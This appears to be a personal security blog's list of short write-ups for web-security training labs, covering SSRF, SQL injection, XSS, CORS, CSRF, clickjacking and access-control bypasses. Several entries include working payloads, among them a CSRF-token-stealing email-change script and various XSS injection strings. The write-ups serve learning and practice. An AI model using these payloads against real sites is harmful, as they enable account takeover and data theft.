an's security blog

Checklist for Web Application Penetration Testing

Thu, 30 Jul 2026 14:34:16 +0800

Check out the checklist here: Notion Link

This serves both as my personal playbook, as well as my journey in Offensive Security (for now just web pentesting). For every new vulnerability, niche or not, and tool I learned, either from PortSwigger or HackTheBox or wherever, I will include them here periodically! Note that this also means the list is not comprehensive (yet).

If you are interested in my journey or just want an example checklist, feel free to check it out for yourselves. Any suggestions are welcome!

Blind SSRF with Shellshock exploitation | Expert

Wed, 22 Jul 2026 13:59:16 +0800

The lab’s problem statement hints that the site fetches whatever inside the Referer header as analytics whenever a product page is loaded. But will it accept arbitrary domains? Let’s try spoofing the Referer header to one of our Burp Collaborator subdomains and see what’s up: Interestingly, the server approves this request and makes two DNS callbacks as well as one HTTP callback to our Collaborator subdomain! Notice that in one of the HTTP callback, notice that User-Agent is also included. This will be our entry point.

SSRF with filter bypass via open redirection vulnerability | Practitioner

Wed, 22 Jul 2026 09:26:16 +0800

This lab has a stock check feature which interestingly fetches data from an internal system, here is an example of an intercepted stock check request:

Let’s try inserting something arbitrary into the stockApi param to see whether it still honors our request or not: Looks like the filter is a lot more rigorous this time, in fact if it doesn’t start with /product, the server will block our request. Seems like they only allow the stock checker to access the local application only, so maybe we can look elsewhere for an open redirection vulnerability.

SSRF with blacklist-based input filter | Expert

Tue, 21 Jul 2026 16:42:16 +0800

Similar to this problem, there is an SSRF vulnerability in the stock check feature, and our desired endpoint is http://localhost/admin.

Let’s try inserting some arbitrary stuff (yes literally) inside stockApi param to see what’s up:

Interesting. Rather than a blacklist, this app utilise a whitelist that only accepts stock.weliketoshop.net. Otherwise, the request is dropped. This seems impenetrable on paper, but not so in practice.

I’ve tried all kinds of bypass I could think of, like:

SSRF with blacklist-based input filter | Practitioner

Tue, 21 Jul 2026 14:51:16 +0800

This lab has a stock check feature which fetches data from an internal system, below is how the intercepted request looks like:

The lab hints that there is an admin interface at http://localhost/admin, and that there are two anti-SSRF defenses in place which we must bypass. And indeed there is a filter in use, straight up requesting for localhost/admin will result in the request being blocked. This is also the case for only http://localhost:

SQL injection with filter bypass via XML encoding | Practitioner

Thu, 16 Jul 2026 16:17:16 +0800

This lab contains a SQLi vulnerability in the stock check feature, in which the results from the query are returned in the application’s response. So we can probably use UNION attacks to retrieve data from other tables:

Let’s try inserting a UNION SELECT to see what’s up, just for fun:

Looks like there is a WAF in place that filters out possible injection attempts, which is kinda bad. But is it bulletproof? Can it detect an injected query that is encoded once? Twice? Thrice? For this lab, I will be using the Hackvertor extension which is a Swiss knife for everything data, decoding, encryption, encoding, the whole shabang.

Blind SQL injection with out-of-band data exfiltration | Practitioner

Thu, 16 Jul 2026 15:24:16 +0800

(lab requires Burp Pro)

The application’s tracking cookie is still vulnerable to SQLi. But unlike previous labs, the SQL query is executed asynchronously and has no effect on the application’s response. So all our methods previously will fail to yield results.

However, we can trigger out-of-band interactions with an external domain. There are quite a lot of network protocols that we can use but the most likely to succeed is DNS, since almost all networks should allow outbound DNS resolution (or it will break duh). The syntax for data exfil can be found in this cheat sheet here, quite complex syntax so I won’t dive too deep into that for this writeup.

Blind SQL injection with time delays and information retrieval | Practitioner

Thu, 16 Jul 2026 14:02:16 +0800

Similar to this lab, an SQLi vulnerability exists within trackingId. But the results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error.

But the problem statement does mention that it’s possible to trigger time delays (duh), we are going to do just that. Let’s start by finding out which database type we are dealing with first, and after some trials and errors we should be able to determine that this is a PostgreSQL database - evident by the pg_sleep() syntax:

Visible error-based SQL injection | Practitioner

Thu, 16 Jul 2026 10:57:16 +0800

Similar to this lab, an SQLi vulnerability exists within trackingId. But this time, the server returns “helpful” error messages in its response. Take a look at the response when I tried to inject ' AND 1=1 (ending single quote deliberately excluded):

The server literally hands out the entire server-side query being executed. Since we know there is an users table, we can just perform a SELECT query for the administrator user right? Turns out there’s actually a character limit, and if our injected query gets too long then it will be truncated:

Blind SQL injection with conditional errors | Practitioner

Thu, 16 Jul 2026 10:02:16 +0800

This lab is quite similar to last lab, with an SQLi present in the tracking cookie. But this time there is no Welcome back! message or the like, so we cannot rely on the server to hand out freebies for us (rip). Notice that the server still processes nonsense injected SQL query inside trackingId, evident by this 500:

This gives us an idea, if the server does not reflect invalid query in the response, perhaps we can make it does? We can instead modify the query so that it causes a database error only if some conditions are satisfied, for example:

Blind SQL injection with conditional responses | Practitioner

Wed, 15 Jul 2026 15:15:16 +0800

The problem statement states that there is a tracking cookie used, and the server performs SQL queries containing the value of the submitted cookie. The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows.

And the database contains a different table called users, with columns called username and password. So no need for database type and version fingerprinting.

SQL injection attack, listing the database contents on non-Oracle databases | Practitioner

Wed, 15 Jul 2026 13:01:16 +0800

Unlike previous labs where we are given the table names and its columns names already, this time we have to find them ourselves. Thankfully, every database contains what are called schemas - metadata about every other database. On non-Oracle databases, it’s usually information_schema.tables.

But before extracting data, we will need to find out the number of columns in the filter table. In this case, there are two columns:

Since injection is possible, one may think to query for everything inside the schema right? But since we are only given two columns to work with, and the schema table may contain more than two, it’s not possible to extract every data using UNION SELECT this way:

SQL injection attack, querying the database type and version on Oracle | Practitioner

Wed, 15 Jul 2026 10:01:16 +0800

In this lab, we are tasked with finding the version of an Oracle database. The query syntax is as follow:

SELECT banner FROM v$version
SELECT version FROM v$instance

First, we will need to find out how many columns there are. One thing about Oracle is that every SELECT must use the FROM keyword and specify a valid table. Since we are probing for NULLs, we should query from the built-in table DUAL otherwise our injected query will return 500: We now know that there are two columns in the filter table, we can then use either query syntax above to probe for the Oracle version as follow:

SQL injection UNION attack, retrieving multiple values in a single column | Practitioner

Wed, 15 Jul 2026 09:30:16 +0800

Similar to this lab, our goal is to extract data from the table users, with username and password stored in plaintext.

First, we will need to find out how many columns does the “filter table” contain: Again, there are two columns which is convenient for us as users also has two columns. What about the data types hold by those two columns? Unfortunately, not all columns can hold string data which is kinda bad news for us. Though it does return a 500 which means it’s processing our injected query server-side. Let’s find out which of the two columns holds those strings: So the silver lining is that one column can hold strings. However, users has two values to be fetched, meaning we will have to somehow combine two entries into one. This can be done by string concatenation, whereas username and password will be added together, separated by an unique symbol.

SQL injection UNION attack, retrieving data from other tables | Practitioner

Wed, 15 Jul 2026 09:06:16 +0800

The problem statement hints at the existence of an users table, with columns username and password (surprisingly stored in plaintext). So now our job is to fetch its content and log in as administrator.

First, we need to find how many columns in the “filter table”. Refer to this lab if you are not familiar with the technique:

There are two columns in this table, which is quite convenient for us as users also has two columns. What about the data type stored? Again, both columns can hold strings which is even more convenient for us as the two columns in users are also of string data type. Since we know what the columns’ names in users are, retrieving the credentials is trivial with the following injected query:

SQL injection UNION attack, finding a column containing text | Practitioner

Wed, 15 Jul 2026 08:41:16 +0800

The problem statement hints at the filter functionality has an SQLi vulnerability, and similar to last lab we have to find how many columns are there first, then find out which column holds string data.

Finding the number of columns is trivial, either use order by index or union select with NULL:

We now know that there are 3 columns in the table. However our goal is to make the backend returns a certain canary, but we don’t know which column is compatible with string data yet. This is quite simple, all we have to do is place some string value into each column in turn:

SQL injection UNION attack, determining the number of columns returned by the query | Practitioner

Tue, 14 Jul 2026 14:19:16 +0800

The most glaring functionality present is filtering products by category, as shown here:

As reflected in the lab’s name, the first step of a UNION-based SQLi is to determine the number of columns. We can either union order by index or select by NULL, whatever floats your boat.

Note that NULL works because it’s convertible to every common data type, thus makes our payload more likely to succeed.

Assuming there is no WAF nor client-side filters in place (which there aren’t), we can apply our elementary payload:

Exploiting server-side parameter pollution in a REST URL | Expert

Tue, 14 Jul 2026 10:53:16 +0800

Similar to this problem, our goal is to log in as administrator and delete carlos. Since we don’t have the credentials, we have to look for an API exploitation elsewhere. And the safest bet is the Reset Password functionality in the login page.

Let’s try sending a password reset request to see what it looks like:

There is no explicit client-side API call, only a POST request to the very much visible /forgot-password endpoint. This probably means there is an internal API call happening server-side, but just to be sure it’s safe to try enumerating all the common API endpoints in Intruder to check for any hidden attack surfaces:

Exploiting server-side parameter pollution in a query string | Practitioner

Thu, 09 Jul 2026 15:06:16 +0800

Our goal is to log in as administrator and delete the user carlos, but the problem is that we don’t know the password. Thankfully, there’s this convenient Forgot Password feature for us to poke into. Let’s try sending a normal password reset to administrator to see what happens: The server responds with a redacted email, that’s fair because nobody wants their PII leaked right? Let’s try adding a new nonsense param and truncate the end bit, what if something unexpected happens? Weird. The server still processes the request as normal. No change to the response length, nor the response time. Adding more nonsense params does not work either. How about sending username only then truncate the query string? It looks like truncating works! And the server demands a hidden field on top of username for a hidden API request (maybe?). But we don’t know what the hidden field name is, and based on our attempt of adding &foo=bar# above we know that the server doesn’t care about custom fields. Or does it?

Exploiting a mass assignment vulnerability | Practitioner

Thu, 09 Jul 2026 13:23:16 +0800

Our task is to buy that leet jacket, but our coffer runs dry. Just like last lab, we have to either raise our balance or make the jacket free.

While crawling through the page, I tried sending a request to /api, literally. To my surprise, there actually is a hidden documentation lying around: The GET request to /checkout seems to request the metadata for our purchase, with these attributes lying around. While the POST request is performing that purchase. So after adding the leet jacket to our cart, let’s perform the GET request to see the response: The server returns a JSON object with very clear attributes. One thing to note though is that the chosen_discount attribute is left conveniently there for us, while no explicit option for discount is present on the page (perhaps it’s for a later sales period?). Let’s try sending the discount attribute along with our purchase in a POST request to /checkout, with say 100% discount rate? Let’s try this out: Looks like the request has gone through, and we got ourselves a slick jacket free of charge. Nice.

Finding and exploiting an unused API endpoint | Practitioner

Thu, 09 Jul 2026 10:32:16 +0800

Our task is to purchase the hackerleet hoodie, but we are also broke af. Upon attempting to purchase the thing without septims, we are hit with an expected denial:

One may think to try illicitly manipulate our store balance, but there is no JS or API call present that queries for an user’s current balance. So that’s bust.

However, notice how whenever we fetch a GET request to a store item, an API request to /products/./price is called: Obviously, if we are not able to increase our coffers, we should make the shopitem free right? Since the response body is a JSON object, it’s expected that the request body to change the price should be a JSON object too. Let’s try sending a POST request to change the price to zero: Too bad that we are hit with a 405, but there is one convenient header they so kindly left for us. The only allowed methods are GET, which we’ve just covered, and PATCH. Since we cannot create a new resource with POST, let’s try updating the resource with PATCH instead: Looks like that didn’t work. It’s sad to say but I’ve spent an embarassingly long amount of time trying to figure out what went wrong here, but in reality it’s just that the price is a string, and the backend demands an integer: So after setting the price of leet to free, we are able to buy it no problemo:

Exploiting an API endpoint using documentation | Apprentice

Thu, 09 Jul 2026 09:32:16 +0800

When we want to test for APIs, we first need to find out as much information about the API as possible. To do that, we must identify API endpoints. This can be done through reading developer’s API doc or fuzzing the paths using Intruder.

In this lab, no doc is provided meaning we have to stick with the latter method. Funnily enough, the documentation endpoint is literally /api/, that’s it:

Exploiting clickjacking vulnerability to trigger DOM-based XSS | Practitioner

Wed, 08 Jul 2026 13:46:16 +0800

As the lab’s name suggests, there exists a DOM-XSS vulnerability somewhere in the application. Naturally, we should crawl through the site and see where does a vulnerable DOM sink lives. The feedback form is looking a bit fishy so let’s check that out! Looks like our intuition is correct! Whatever passed into the name field will be reflected in the innerHTML sink after submission. And it looks like the application doesn’t filter out angle brackets or quotes, which makes constructing XSS payloads much easier. Let’s test this out by injecting a harmless h1: The parser indeed recognises this as valid HTML, and display it proudly. Since our sink is innerHTML, we have to use img or iframe to fire our events. Testing with the <img src=1 onerror=print()> payload will do its job as told.

Clickjacking with a frame buster script | Apprentice

Wed, 08 Jul 2026 10:18:16 +0800

First of all, in order for a clickjacking attempt that changes victim’s states to work, anything that requires cookie auth must have that cookie set SameSite=None. Thankfully, this is indeed the case for this lab: Upon checking the source code, we can see that the developer tries to prevent clickjacking by adding a frame busting script as shown here. What this does is that it checks if the top-most window is the same as the current window. If they are different, it means the page is inside an iframe and the attempt is blocked: If we try to use Burp Clickbandit, notice that the attempt to frame the site is blocked: To solve this, we should also strip allow-scripts so that the framed page’s JavaScript will be blocked. allow-forms is still kept because we need a form to change emails with (lol) After that, use Clickbandit to generate a sample PoC and deliver it to the victim. Neat

CORS vulnerability with trusted insecure protocols | Practitioner

Tue, 07 Jul 2026 13:43:16 +0800

Just like the last lab, the session cookie has SameSite=None and there is zero CSRF tokens or anything of the sort while querying for sensitive data on /accountDetails: But unlike the last two labs, the web application here controls which origins can get in quite strictly. It withstands parsing errors and the null check, which would prove exfiltrating victim’s data more difficult.

So naturally, we should probe other functionalities to find an attack surface. Notice the Check Stock add-on, is it rather odd that whenever we want to query stocks, it opens a window to an insecure HTTP subdomain? Plus, this possibly vulnerable subdomain is on the whitelist, maybe this is our attack surface: Upon closer inspection, to access stock level we do need to provide two necessary params productId and storeId. The site dictates the former must definitely be an integer, what if it isn’t? Rather than showing a generic error message, the web application on this subdomain reflects our wrong ID into the HTML. This smells of XSS vulnerabilities, let’s test this by adding a harmless h1 tag: Surprisingly this works! We can inject arbitrary HTML and the parser will honor it. Using all these information in mind, we can just paste our old payload into productId and it will run smooth as butter:

CORS vulnerability with trusted null origin | Apprentice

Tue, 07 Jul 2026 10:39:16 +0800

Similar to this lab, the session cookie still has SameSite=None and sensitive data is still stored at the /accountDetails endpoint. CORS may still be supported as the Access-Control-Allow-Credentials is set to True:

Let’s try manipulating the Origin header, for example say evil.com? The request is accepted? Yet there is no Access-Control-Allow-Origin header which means the origin is rejected? What does this mean? Turns out that CORS is enforced by the victim’s web browser, and not the server.

CORS vulnerability with basic origin reflection | Apprentice

Tue, 07 Jul 2026 09:43:16 +0800

Our goal is to obtain the API key of administrator, so first we have to see how it is returned in the response: The web application fetches the endpoint /accountDetails including the user’s credentials. It then queries for apiKey and reflects it in the HTML. This sounds interesting, let’s dive in for more! The backend returns with a clean JSON object containing our apikey and session cookie as well, this smells privacy issues. Not only that the web application responds with the Access-Control-Allow-Credentials header set to True, meaning CORS may be supported and credentials are included in requests for the same origins at least. Let’s try spoofing the Origin header and see what’s up: Surprisingly, the backend never bothers validating origin and just appends them blindly into the Access-Control-Allow-Origin header, not only that but we are also allowed to send credentials into our requests as well. This opens up opportunities for a CORS exploit on the /accountDetails endpoint, but we forgot to check whether the session cookie is Strict or not. Let’s try: Thankfully, the session cookie is set to None, and since our original request does not have CSRF tokens, we can craft the following payload:

CSRF with broken Referer validation | Practitioner

Mon, 06 Jul 2026 15:45:16 +0800

Just like this problem, if we intercept the change email request, we may see that there are no CSRF protections present. On top of that, the session cookie still has SameSite=None. So this would make our job very much easier: As the lab name suggests, let’s try manipulating the Referer header. I’ve tried changing it to something else, or remove it entirely, the server seemingly is one step ahead of us and returns a 400 every time: However, if we include the domain name onto the Referer header, the backend accepts it arbitrarily without any filters. This is our entry point! Because the lab has no CSRF defences save for that Referer validation, we can craft a simple payload as follow:

CSRF where Referer validation depends on header being present | Practitioner

Mon, 06 Jul 2026 13:50:16 +0800

Before attempting any CSRF payloads, it’s good practice to know more about the cookies first to see whether certain restrictions are in place. Fortunately for us, this lab has only one session cookie with SameSite=None, without any CSRF token validation. This means any future exploits can be crafted and sent without problems:

Let’s try sending the email changing request to Repeater. As the lab’s name suggests, let’s tinker a little with the Referer header. As you can see above, the Referer header is pointing to the main site in which the backend accepts and forwards our request. How about changing that header to something else instead?

SameSite Strict bypass via sibling domain | Practitioner

Mon, 06 Jul 2026 13:49:16 +0800

At first glance, this is pretty similar to this problem. We inspect the WebSocket history and find out that whenever we send a READY message, all the chat history on that session is returned. So that means the same payload from that problem can be applied right? But notice that the session cookie has SameSite set to Strict, that means every attempt to hijack the WebSocket connection from an outside source will not extract any useful information, besides that same default Connected with Hal Prime message. So naturally, we have to find another attack surface to capitalise on. But where? The only other useful functionality on the main site is the login form, which is protected by the same Strict session cookie. However, CSRF protections like tokens are not present, can we take advantage of this?

Manipulating the WebSocket handshake to exploit vulnerabilities | Practitioner

Fri, 03 Jul 2026 15:39:16 +0800

Since the only useful functionality on the lab is the live chat feature, we will be trying out payloads on it, but this proved much harder than I thought (lol).

After sending the WebSocket message to Repeater and crafting a simple alert payload, we are immediately IP banned with no room to spare (damn). Upon inspection of the WebSocket history, we should see that the server detects our payload as an attack and acts accordingly:

Reflected XSS protected by CSP, with CSP bypass | Expert

Fri, 03 Jul 2026 13:32:16 +0800

Let’s try testing the search function. As usual, we insert our canary string and see what sticks: Unlike previous labs, this lab has CSP enabled, with very strict directives too. But just to be sure, we should test the waters to see if those directives are all bark but no bite. Let’s try a simple alert payload: Looks like the parser recognises the payload as valid HTML! But unfortunately the CSP is one step ahead by blocking every inline script instances. The good news for us is that we can assume all tags and events are not filtered.

Reflected XSS protected by very strict CSP, with dangling markup attack | Practitioner

Wed, 01 Jul 2026 10:10:16 +0800

At first, I was struggling to make use of dangling markups to obtain the CSRF token needed for exfil. What I didn’t realise is that Chrome has long banned dangling markup exploitation by essentially blocking certain characters such as angle brackets. So that’s bust.

Coming back to the problem, I first tried tinkering around the comment functionality to see what sticks. However, all the useful characters are encoded, and there are no vulnerable client-side JS vectors to bypass these unlike last labs:

Exploiting cross-site scripting to capture passwords | Practitioner

Wed, 01 Jul 2026 08:52:16 +0800

I first struggled to solve this because I was leaning towards a solution that does not require user interaction. Something like a list of autofilled passwords being defined somewhere in the DOM, tried Googling to hell and back but no budge.

Turns out I had to swallow my pride and come up with a solution that requires interaction. Turns out it’s simpler that it sounds. All you have to do is wait for the browser to fill the passwords, detect it using onchange then grab the credentials.

Exploiting XSS to bypass CSRF defenses | Practitioner

Tue, 30 Jun 2026 16:20:16 +0800

In the spirit of this problem, we can simply set up a similar payload as shown here:

<script>
setTimeout(function(){
 var token = document.getElementsByName('csrf')[0].value;
 var data = new FormData();

 data.append('csrf', token);
 data.append('email', 'hijacked@test.com');

 fetch('/my-account/change-email', {
 method: 'POST',
 body: data
 });
}, 100);
</script>

Exploiting cross-site scripting to steal cookies | Practitioner

Tue, 30 Jun 2026 14:19:16 +0800

(dont rlly like this lab because of paywall) First, to steal cookies we must know the attributes of them. By using the Developer Tool, we can see that our cookie session does not have HttpOnly flagged. This means client-side JS can read cookies via document.cookie, making our job easier.

As usual, we try to insert our canary and see what’s up: This is a bit of a logic jump but I tried inserting angled brackets and found out that it wasn’t encoded like other labs. I then attempted to insert a simple alert payload, lo and behold the parser recognises the payload as HTML. We can assume that there are no encoding filter or WAF blocks, meaning we can build our payloads no problemo.

Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped | Practitioner

Tue, 30 Jun 2026 13:48:16 +0800

(lab’s name is a bit of a handful)

As usual, let’s first insert our canary into the search form to see what’s the buzz:

While all our special characters are encoded thus no traditional payloads, notice that the page is trying to build the message dynamically using client-side JS. And backticks are used rather than single or double quotes, meaning we can probably inject JavaScript template literals within the message itself.

Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped | Practitioner

Tue, 30 Jun 2026 09:25:16 +0800

Since the only useful functionality on this lab is commenting, we begin by inserting our canary into the comment form and some special characters to see what sticks. Good practice.

While checking the source, we see that everything is HTML-encoded, even the backslash is escaped. This entry is bust.

But we haven’t checked out how our comment is rendered in Elements yet. Maybe this will lead to something interesting?

Notice that our controllable website input is reflected inside a JavaScript quoted tag attribute. We can infer that it tracks traffic to our website or something, that doesn’t matter. What matters is that we now know there is a way to break away the existing JS code and insert our payloads.

Reflected XSS in a JavaScript URL with some characters blocked | Expert

Mon, 29 Jun 2026 10:23:16 +0800

Let’s try insert our canary string into the comments, with some special characters to boot to see what sticks As reflected in the source, almost everything save for ;$%() are URL encoded, severely limiting our payload capability. Checking the HTML content in Elements also reveal that all our input is treated as text.

After much tinkering, I realised I have been focusing too much on comments while ignoring the little Back to Blog button at the end of the page. This might be interesting.

Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped | Practitioner

Mon, 29 Jun 2026 09:45:16 +0800

As usual, we first try to insert our canary string along with special characters to see what sticks:

Notice all of the characters are encoded, save for one trailing backslash at the end. Since single quotes are escaped, we should expect the same for backslashes and see two of them rather than one. This means backslashes are not escaped, and we can use this to our advantage.

We can insert our own backslash character before a single quote to neutralize the backslash that is added by the application.

Reflected XSS into a JavaScript string with single quote and backslash escaped | Practitioner

Mon, 29 Jun 2026 09:11:16 +0800

We first try to insert our canary string into the search form on the main page, and view the result in DOM Invader

As we can see, the canary falls into a document.write sink. Upon closer inspection of the source code, we can discover this JS snippet:

Notice that the single quote is escaped. Double quotes and angle brackets are URL encoded, evident on the query string, before being written into the HTML. But whatever input we type will be assigned to the variable searchTerms first, without any encoding save for single quotes.

Reflected XSS in canonical link tag | Practitioner

Fri, 26 Jun 2026 16:22:16 +0800

First, we’ll need to understand what are canonical tags. In HTML, it always lives in head and looks like this:

<link rel="canonical" href="https://example.com/main-site">

If example.com has many endpoints other than the main one, a search engine bot splits up the SEO ranking power, which is what dictates the visibility of a site, across all these URLs. To fix this, developers usually add a canonical tag to all those pages that points back to the main URL, which essentially means telling the search engine bot to give all visibility to the main site instead.

Stored XSS into anchor href attribute with double quotes HTML-encoded | Apprentice

Fri, 26 Jun 2026 15:40:16 +0800

After tinkering with the comment functionality, notice that the backend will directly takes whatever inside the website input box and attach it to the href anchor as shown here. One thing to note is that the http: prepend filter is not present for this lab:

So we can simply use the payload javascript:alert(1) to solve the lab. Simple

Reflected XSS into attribute with angle brackets HTML-encoded | Apprentice

Fri, 26 Jun 2026 15:13:16 +0800

As with any, we try inserting our canary into the form to see what comes. In this case we will try searching for ihvkjueb"<>& Notice that while the angle brackets are encoded, " isn’t. And we can escape the value attribute and add it this payload:

" autofocus onfocus='alert(1)'

This will autofocus the input form right after the page loads, which will trigger alert calls indefinitely.

Reflected XSS with some SVG markup allowed | Practitioner

Fri, 26 Jun 2026 14:19:16 +0800

Similar to this problem, we first try to find out which tags are allowed and which are not using Intruder as follow: The tags available are animateTransform, image, and svg. title is also allowed but it doesn’t assist much in delivering payloads so we will skip it for now.

So we are given three building blocks. One may craft a payload as follow:

<svg><image width=10 height=10 src/onerror=alert(1)></svg>

But it doesn’t work. Using animateTransform to add the event indirectly also does not work. Using other events does not work. Once again, we use Intruder to brute our way to which events are accepted and which aren’t: All but one event is blocked, and that is onbegin. It is essentially onload but for SVG animation elements. So we can craft a payload as follow:

Reflected XSS with event handlers and href attributes blocked | Expert

Fri, 26 Jun 2026 10:03:16 +0800

Similar to previous problems, first we shall pass through Intruder to see which tags are accepted Some of the valid tags are <a>, <animate>, <image>, and <svg>. This is a huge flag for an svg tags ecosystem. Since the href attribute is blocked by the WAF, perhaps somehow we can sneak that through indirectly without alerting the firewall?

The answer is using the <animate> tag, with its convenient attributeName and values attributes, it allows us to indirectly modify the parent tag’s attributes and their values. Thus we can craft a payload as follow:

Reflected XSS into HTML context with all tags blocked except custom ones | Practitioner

Fri, 26 Jun 2026 09:41:16 +0800

When we launch Intruder to zero in which tags are accepted, all of them returns a 400 which makes common payloads obsolete However, we haven’t tested for custom tags yet. Whenever we invent a tag, such as <test>, the browser treats it as an HTMLUnknownElement. In the DOM, HTMLUnknownElement is a direct child of HTMLElement interface, meaning it inherits every Global Attribute that standard HTML elements (like <div> or <span>) have.

Reflected XSS into HTML context with most tags and attributes blocked | Practitioner

Thu, 25 Jun 2026 14:59:16 +0800

If we try a standard XSS payloads using img or script, the built in WAF will block the request. We can try other tags manually, or we can use Burp Intruder to first do a sweep of which tags are accepted, and which aren’t. You can find a list of common XSS payloads on PortSwigger’s XSS Cheat Sheet Notice the only the body tag returns a 200. We shall use this information and narrow our attribute range for the tag. There are a few attributes accepted, notably being onresize. Without needing user interaction, this is a holy grail among attributes used for XSS payloads. With that said, we can craft a payload as follow:

Stored DOM XSS | Practitioner

Thu, 25 Jun 2026 14:30:16 +0800

Really took a long time with this one due to not knowing enuf JS syntax

Upon closer inspection of the source, the comment body seems to be added into an innerHTML sink for display, which is a huge red flag opening up to Stored XSS payloads. There is a peculiar custom function escapeHTML() which does as it says on the tin. It filters out < and >, effectively blocking most XSS payloads, at least in theory. This only encodes the first occurences of those two brackets, which mean our payload can simply be:

Reflected DOM XSS | Practitioner

Thu, 25 Jun 2026 09:31:16 +0800

As per the usual, when we try inserting our canary into the search functionality, the result falls into the eval sink which is very dangerous.

Upon closer inspection of the stack trace, we find out the function that manages sending our search requests. The developer here did not use JSON.parse() safely but dump the raw response text from the server directly into eval. This opens up opportunities for XSS.

To exploit this, we should think of a way to escape this JSON string. One might try to append "}, but " is safely encoded as \" so it won’t work. However, we can add another backslash, \\", the two backslashes in a row will confuse the parser and interpret this as an attempt to print a literal backslash, completely ignoring "!

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded | Practitioner

Wed, 24 Jun 2026 15:40:16 +0800

First, we try to punch the search functionality by inputting our canary string into the search bar. Notice that our string will be written inside the HTML source, which opens up room for XSS payloads.

There is also an ng-app attribute inside the body tag, which means when the webpage loads AngularJS will be in control of whatever inside that tag. When a directive is added to the HTML code, we can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.

DOM XSS in jQuery selector sink using a hashchange event | Apprentice

Wed, 24 Jun 2026 15:16:16 +0800

Once we check the source for our homepage, we see that there is a peculiar JS code snippet. It is a $() selector sink that picks up whatever inside window.location.hash, then try to find an h2 element under the blog-list class containing that value.

If value is found, then it scrolls down to that. Here in our example is an h2 tag being scrolled down to, notice #Wedding in the URL. One notable thing is that the backend doesn’t filter elements such as <, >, or HTML tags such as script, img. We can try this by inserting those into the hash and view the response.

DOM XSS in jQuery anchor href attribute sink using location.search source | Apprentice

Wed, 24 Jun 2026 09:21:16 +0800

When we check out the Submit Feedback, notice that there is a returnPath query string hanging out in the URL.

If we look closer to the source code, we find out that this returnPath handles the redirect after clicking on the Back button, evident by its #backLink ID.

The JS code naively takes whatever value of returnPath inside the window.location.search sink and add that as an attribute of the a tag. We can then insert this payload inside the URL:

DOM XSS in innerHTML sink using source location.search | Apprentice

Tue, 23 Jun 2026 15:56:16 +0800

We can manually inspect the JS source, or use the DOM invader to help locate our sinks as follow:

Here our sink is innerHTML, note that the innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means we will need to use alternative elements like img or iframe. Event handlers such as onload and onerror can be used in conjunction with these elements.

DOM XSS in document.write sink using source location.search inside a select element | Practitioner

Tue, 23 Jun 2026 14:57:16 +0800

Upon viewing the source, we see that this script has a document.write() sink that writes out the select form in the HTML. It queries for the value of storeId param and attaches it to an <option> tag as shown.

Upon attaching a storeId query param into the URL, the DOM Invader captures our random string present within the HTML, and confirming that the sink in question is indeed document.write():

DOM XSS in document.write sink using source location.search | Apprentice

Tue, 23 Jun 2026 14:38:16 +0800

This is quite a straightforward lab, but I want to emphasize on the use of Burp Browser’s DOM Invader.

The “canary” here is pp591rlt, which is an unpredictable and uncommon string that we can inject into different sources to see which sinks they flow into. Included in the string are special characters ", <, and >. This helps test whether the browser will sanitize the quotes and brackets or not.

Cross-site WebSocket hijacking | Practitioner

Mon, 15 Jun 2026 15:56:16 +0800

First, we shall try to intercept the GET request to /chat to see what’s underneath the hood. Notice that there are no CSRF protections in place, only a session cookie is employed: We also notice that the session cookie has SameSite=None, that means it’s even more vulnerable to potential CSRF attacks, which we are about to do. After sending out some messages on /chat, in our WebSocket history we notice that once the client sends a READY message to the server, the server responds with all of the chat history. We can verify this using Repeater as follow: Now we know there are three vulnerabilities present in this chat system, it’s time to craft the payload!

Referer-based access control | Apprentice

Thu, 11 Jun 2026 15:50:16 +0800

We are given the option to try out admin perms for ourselves. When we try to upgrade carlos credentials, we can intercept the request and see what’s behind the scene: Unlike the previous labs, the request to elevate one’s credentials is simply a GET request. If the web app accepts Referer arbitrarily, we can simply change the session cookie to ours and solve the lab.

Multi-step process with no access control on one step | Apprentice

Thu, 11 Jun 2026 15:33:16 +0800

We are given the option to try out admin perms for ourselves. When we try to upgrade carlos credentials, there is a intermediary step that asks us to confirm our decision. Upon interception, we see that this is expressed as a param confirmed:

Hypothetically, the web app may see that confirmed=true is indeed included in the form parameters, and assumes that the person requesting this has valid credentials because they cannot have known that third confirmation step.

Method-based access control can be circumvented | Apprentice

Thu, 11 Jun 2026 13:59:16 +0800

Took too damn long tinkering with Burp while in fact I can just paste the payload into the URL

We are given the choice to first log in the administrator account to see what’s behind the scene. While we are changing carlos privilege, we can intercept the request: Now we know that /admin-roles is the endpoint for changing perms, with username and action as its params. However when we attempt to send the POST request as wiener, we will be hit with Method Not Allowed.

URL-based access control can be circumvented | Apprentice

Thu, 11 Jun 2026 10:49:16 +0800

If we are doing this blind, we can actually append the X-Original-URL header (or equivalent) into the request and add a nonsensical endpoint, e.g. /asdfklsdjflks. If the server gives us a Not Found, that means the backend code is processing X-Original-URL blindly and we can insert our payload, per se.

Thus we can add ?username=carlos into the query string, then change the X-Original-Url path to /admin/delete. The carlos user will be deleted afterwards.

User role can be modified in user profile | Apprentice

Thu, 11 Jun 2026 10:05:16 +0800

At first, I keep digging session cookies and HTML source to see whether they contain any references of roleid or not, and I stumped. I realised that I hadn’t even attempted to change my email to see what happens yet.

So, upon changing our email, we can observe that the response has a JSON object that keeps tab of our username, email, and roleid: Simply add "roleid":2 into the request body and voila we will get access to the admin panel. This is a vuln called Mass Assignment

Unprotected admin functionality with unpredictable URL | Apprentice

Thu, 11 Jun 2026 09:38:16 +0800

Very straightforward, the lab introduces a vuln where sensitive endpoints are exposed in plaintext, in this case some JS scripts: Simply access the hidden endpoint and we can solve the lab.

Broken brute-force protection, IP block | Practitioner

Mon, 08 Jun 2026 15:31:16 +0800

The key to this lab is to occasionally insert our valid credentials inbetween the enumerations, so that maybe the rate limit imposed on our IP is reset to zero. This is never guaranteed for every web app.

To solve this, we can either use the Turbo Intruder extension or macros. But for the sake of simplicity, we need only edit the username and password payloads so that our valid credential and our brute-forcing attempts alternate. The password wordlist can be done through a simple Python script as follow:

Username enumeration via response timing | Practitioner

